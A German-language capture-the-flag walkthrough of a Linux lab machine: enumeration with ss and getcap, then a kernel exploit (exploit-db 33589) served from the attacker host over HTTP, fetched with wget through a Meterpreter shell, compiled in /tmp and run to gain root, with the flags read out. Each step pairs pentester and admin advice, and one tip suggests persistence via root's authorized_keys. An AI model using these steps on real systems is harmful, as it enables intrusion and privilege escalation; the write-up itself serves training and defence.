Analyse: Diese Befehle dienen der weiteren Systemenumeration: * `ss -atlpn`: Zeigt Netzwerk-Sockets an (ähnlich wie `netstat`). `-a` (alle), `-t` (TCP), `-l` (lauschend), `-p` (Prozesse), `-n` (numerische Adressen/Ports). Die Ausgabe im Bericht scheint unvollständig oder fehlerhaft zu sein, da sie die typischen Spalten für Prozessinformationen vermissen lässt und IPv6-Einträge zeigt, die im Nmap-Scan nicht explizit erwähnt wurden (obwohl moderne Systeme oft beides haben). * `getcap -r / 2>/dev/null`: Sucht rekursiv (`-r`) im gesamten Dateisystem (`/`) nach Dateien mit gesetzten Linux Capabilities. Capabilities sind eine granularere Form von Root-Rechten. `2>/dev/null` unterdrückt Fehlermeldungen.

Bewertung: Der `ss`-Befehl bestätigt (trotz der Formatierungsabweichung), dass die Ports 80 (HTTP) und 22 (SSH) lauschen, was wir bereits wussten. Der `getcap`-Befehl liefert keine Ausgabe, was bedeutet, dass keine Dateien mit speziellen Capabilities gefunden wurden, die möglicherweise zur Privilegieneskalation missbraucht werden könnten.

Empfehlung (Pentester): Capabilities sind ein wichtiger, aber hier offenbar nicht erfolgreicher Eskalationsvektor. Fahren Sie mit der Vorbereitung des Kernel-Exploits fort. Überprüfen Sie auch laufende Prozesse (`ps aux`) und deren Berechtigungen.
Empfehlung (Admin): Vermeiden Sie die unnötige Vergabe von Capabilities an Binärdateien. Verwenden Sie sie nur, wenn sie für die Funktion zwingend erforderlich sind und das Prinzip des Least Privilege angewendet wird.

Basierend auf der `uname -a`-Ausgabe und den `searchsploit`-Ergebnissen wird nun der Kernel-Exploit `33589.c` ('perf_swevent_init') als primärer Vektor für die Privilegieneskalation verfolgt.

https://www.exploit-db.com/exploits/33589

Link zur Exploit-DB Seite für Referenz und Code-Download.

┌──(root㉿cycat)-[~] └─# vi fuck.c
# Inhalt von 33589.c wird in die Datei fuck.c auf dem Angreifer-System kopiert.

Analyse: Der Befehl `vi fuck.c` wird auf dem *Angreifer*-System (Kali/cycat) ausgeführt. Der Pentester erstellt eine neue Datei namens `fuck.c` und kopiert den Quellcode des Kernel-Exploits (33589.c von Exploit-DB) hinein.

Bewertung: Dies ist ein notwendiger Vorbereitungsschritt, um den Exploit-Code auf das Zielsystem übertragen zu können. Der Dateiname `fuck.c` ist unprofessionell, aber im Kontext von CTFs oder informellen Tests manchmal anzutreffen.

Empfehlung (Pentester): Überprüfen Sie den Exploit-Code vor der Kompilierung und Ausführung auf mögliche Fallstricke oder Anpassungsbedarf. Verwenden Sie aussagekräftigere Dateinamen für Berichte oder professionelle Engagements.
Empfehlung (Admin): Das Vorhandensein von Compilern (`gcc`) auf Produktivsystemen erhöht das Risiko, da Angreifer Exploits direkt auf dem Ziel kompilieren können. Entfernen Sie Entwicklungswerkzeuge von Produktionsservern, wenn sie nicht benötigt werden.

┌──(root㉿cycat)-[~] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.123 - - [16/Jul/2023 02:34:06] "GET /fuck.c HTTP/1.1" 200 -

Analyse: Auf dem *Angreifer*-System wird ein einfacher Python-HTTP-Server gestartet, der im aktuellen Verzeichnis (`~`) auf Port 80 lauscht. Dies ermöglicht es, Dateien aus diesem Verzeichnis über HTTP bereitzustellen. Die zweite Zeile der Ausgabe zeigt einen Log-Eintrag: Das Zielsystem (192.168.2.123) hat erfolgreich eine GET-Anfrage für die Datei `/fuck.c` gestellt und den HTTP-Statuscode 200 (OK) erhalten.

Bewertung: Dies ist eine gängige und einfache Methode, um Dateien von der Angreifer-Maschine auf das Zielsystem zu übertragen, insbesondere wenn Werkzeuge wie `wget` oder `curl` auf dem Ziel verfügbar sind. Der Log-Eintrag bestätigt, dass der Download im nächsten Schritt erfolgreich war.

Empfehlung (Pentester): Stellen Sie sicher, dass keine Firewall auf dem Angreifer-System die eingehende Verbindung auf Port 80 blockiert. Beenden Sie den Server (`Ctrl+C`), sobald der Transfer abgeschlossen ist. Für komplexere Szenarien können auch andere Transfermethoden (z.B. Netcat, SCP über SSH-Tunnel, Meterpreter-Upload) verwendet werden.
Empfehlung (Admin): Kontrollieren Sie ausgehenden Netzwerkverkehr vom Server (Egress-Filterung). Erlauben Sie Verbindungen nur zu bekannten und notwendigen Zielen und Ports. Das Blockieren von HTTP-Verbindungen zu beliebigen IPs kann solche Dateitransfers verhindern.

meterpreter > shell
Process 1376 created.
Channel 95 created.
# Remote Shell Prompt id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Remote Shell Prompt cd /tmp
# Remote Shell Prompt wget 192.168.2.114/fuck.c
--2023-07-15 17:34:06--  http://192.168.2.114/fuck.c
Connecting to 192.168.2.114:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3546 (3.5K) [text/x-csrc]
Saving to: 'fuck.c'

     0K ...                                                   100%  135M=0s

2023-07-15 17:34:06 (135 MB/s) - 'fuck.c' saved [3546/3546]

Analyse: Diese Befehle werden innerhalb der Meterpreter-Session (oder einer daraus gestarteten Shell) auf dem *Zielsystem* ausgeführt: 1. `meterpreter > shell`: Öffnet eine Standard-System-Shell vom Meterpreter aus. 2. `id`: Bestätigt erneut die Identität als `www-data`. 3. `cd /tmp`: Wechselt in das `/tmp`-Verzeichnis, das normalerweise für alle Benutzer beschreibbar ist. 4. `wget 192.168.2.114/fuck.c`: Lädt die zuvor auf dem Angreifer-System bereitgestellte Exploit-Datei `fuck.c` über HTTP herunter und speichert sie im aktuellen Verzeichnis (`/tmp`).

Bewertung: Der Exploit-Code wurde erfolgreich auf das Zielsystem in ein beschreibbares Verzeichnis (`/tmp`) übertragen. Das Vorhandensein von `wget` auf dem Zielsystem hat diesen Schritt erleichtert. Alle Voraussetzungen für die Kompilierung des Exploits sind nun erfüllt.

Empfehlung (Pentester): Überprüfen Sie mit `ls -la /tmp`, ob die Datei korrekt übertragen wurde und die richtigen Berechtigungen hat. Fahren Sie mit der Kompilierung fort.
Empfehlung (Admin): Entfernen Sie unnötige Tools wie `wget` oder `curl` von Servern, wenn sie für den normalen Betrieb nicht benötigt werden. Überwachen Sie die Verwendung solcher Tools und Dateidownloads aus dem internen Netzwerk oder dem Internet. Beschränken Sie Schreibberechtigungen in `/tmp` falls möglich (obwohl dies oft schwierig ist, ohne die Systemfunktionalität zu beeinträchtigen).

www-data@ubuntu:/tmp$ gcc fuck.c -o vnik
# (Keine Ausgabe bei Erfolg)
www-data@ubuntu:/tmp$ ls -la
total 32
drwxrwxrwt  2 root     root      4096 Jul 15 17:35 .
drwxr-xr-x 23 root     root      4096 May 11  2020 ..
-rwxrwxrwx  1 www-data www-data   207 Jul 15 17:13 QPbGo  # Unbekannte Datei, evtl. Überbleibsel
-rw-r--r--  1 www-data www-data  3546 Jul 15 17:33 fuck.c
-rwxr-xr-x  1 www-data www-data 13242 Jul 15 17:35 vnik

Analyse: 1. `gcc fuck.c -o vnik`: Kompiliert den heruntergeladenen C-Quellcode (`fuck.c`) mit dem GNU C Compiler (`gcc`). Die Option `-o vnik` gibt an, dass die resultierende ausführbare Datei `vnik` heißen soll. Das Fehlen einer Ausgabe deutet auf eine erfolgreiche Kompilierung hin. Die `-2` aus dem vorherigen Logeintrag war vermutlich ein Fehler im Log und wurde hier korrekterweise weggelassen. 2. `ls -la`: Listet den Inhalt von `/tmp` erneut auf.

Bewertung: Der Kernel-Exploit wurde erfolgreich auf dem Zielsystem kompiliert. Die Datei `vnik` ist nun vorhanden und hat Ausführungsrechte (`-rwxr-xr-x`). Das Vorhandensein des `gcc`-Compilers auf dem Zielsystem war hierfür entscheidend. Die Datei `QPbGo` ist unklar, könnte ein temporärer Dateiname von Metasploit oder ein Überbleibsel sein.

Empfehlung (Pentester): Der Exploit ist bereit zur Ausführung. Starten Sie die kompilierte Datei `./vnik` (ggf. mit erforderlichen Argumenten, falls der Exploit-Code welche vorsieht – hier wird im nächsten Schritt `0` verwendet).
Empfehlung (Admin): Entfernen Sie Compiler und Entwicklungswerkzeuge von Produktionssystemen. Wenn ein Angreifer Code nicht direkt kompilieren kann, muss er vorkompilierte Binaries hochladen, was die Erkennung erleichtern kann (z.B. durch Überwachung von Dateiuploads oder Ausführung unbekannter Binaries).

Proof of Concept (Kernel Exploit)

Der folgende Schritt demonstriert die erfolgreiche Ausnutzung der Kernel-Schwachstelle (CVE nicht explizit genannt, aber basierend auf 33589.c ist es wahrscheinlich eine Variante von CVE-2013-2094 oder ähnlich), um Root-Rechte zu erlangen.

www-data@ubuntu:/tmp$ ./vnik 0
IDT addr = 0xffffffff81dd7000
Using int = 3 with offset = -49063
root@ubuntu:/tmp# # (Prompt wechselt zu root!)

Analyse: Der Befehl `./vnik 0` führt die zuvor kompilierte Exploit-Datei `vnik` mit dem Argument `0` aus. Der Exploit nutzt die Schwachstelle im Kernel ('perf_swevent_init') aus, um die Berechtigungen des aktuellen Prozesses zu erhöhen. Die Ausgaben `IDT addr = ...` und `Using int = ...` sind spezifische Debug- oder Statusmeldungen des Exploits während seiner Ausführung.

Bewertung: Der Exploit war erfolgreich! Das entscheidende Anzeichen ist der Wechsel des Kommandozeilen-Prompts von `www-data@ubuntu:/tmp$` zu `root@ubuntu:/tmp#`. Dies bedeutet, dass der Prozess, der den Exploit ausgeführt hat, nun mit Root-Rechten läuft. Die Privilegieneskalation war erfolgreich.

Empfehlung (Pentester): Fantastisch, der Root-Zugriff war erfolgreich! Nun haben wir unser primäres Ziel erreicht. Überprüfen Sie die Rechte sofort mit `id`. Sichern Sie den Zugriff, falls gewünscht (z.B. durch Hinzufügen eines SSH-Schlüssels zu `/root/.ssh/authorized_keys`). Suchen Sie nach den finalen Flags (`user.txt`, `root.txt`). Dokumentieren Sie den erfolgreichen Exploit als Proof-of-Concept.
Empfehlung (Admin): Dieser erfolgreiche Proof-of-Concept demonstriert die kritische Sicherheitslücke im veralteten Kernel. Das System muss *dringend* stillgelegt, neu aufgesetzt oder zumindest auf eine unterstützte Version aktualisiert werden. Kernel-Exploits umgehen oft viele andere Sicherheitsmaßnahmen.

root@ubuntu:/tmp# cd /root
root@ubuntu:/root# ls
root.txt
root@ubuntu:/root# cat root.txt
{Sum0-SunCSR-2020_r001}

Analyse: Nachdem Root-Rechte erlangt wurden, werden folgende Befehle ausgeführt: 1. `cd /root`: Wechselt in das Home-Verzeichnis des Root-Benutzers. 2. `ls`: Listet den Inhalt auf und findet die Datei `root.txt`. 3. `cat root.txt`: Gibt den Inhalt der Datei `root.txt` aus.

Bewertung: Die Root-Flag wurde erfolgreich ausgelesen: `{Sum0-SunCSR-2020_r001}`. Dies ist typischerweise das Endziel bei Capture-The-Flag-Übungen oder ein wichtiger Meilenstein in einem Pentest, der den vollständigen Systemkompromittierung nachweist.

Empfehlung (Pentester): Dokumentieren Sie die Root-Flag. Suchen Sie nun nach der User-Flag, die sich normalerweise im Home-Verzeichnis des Benutzers (`/home/sumo/user.txt`) befindet.
Empfehlung (Admin): Die Tatsache, dass sensible Informationen (auch wenn es nur eine Flag ist) im Root-Home-Verzeichnis liegen und von einem Angreifer nach einer Eskalation gelesen werden können, unterstreicht die Bedeutung der Verhinderung der Privilegieneskalation durch zeitnahe Updates und sichere Konfiguration.

Flags

cat /home/sumo/user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt
{Sum0-SunCSR-2020_r001}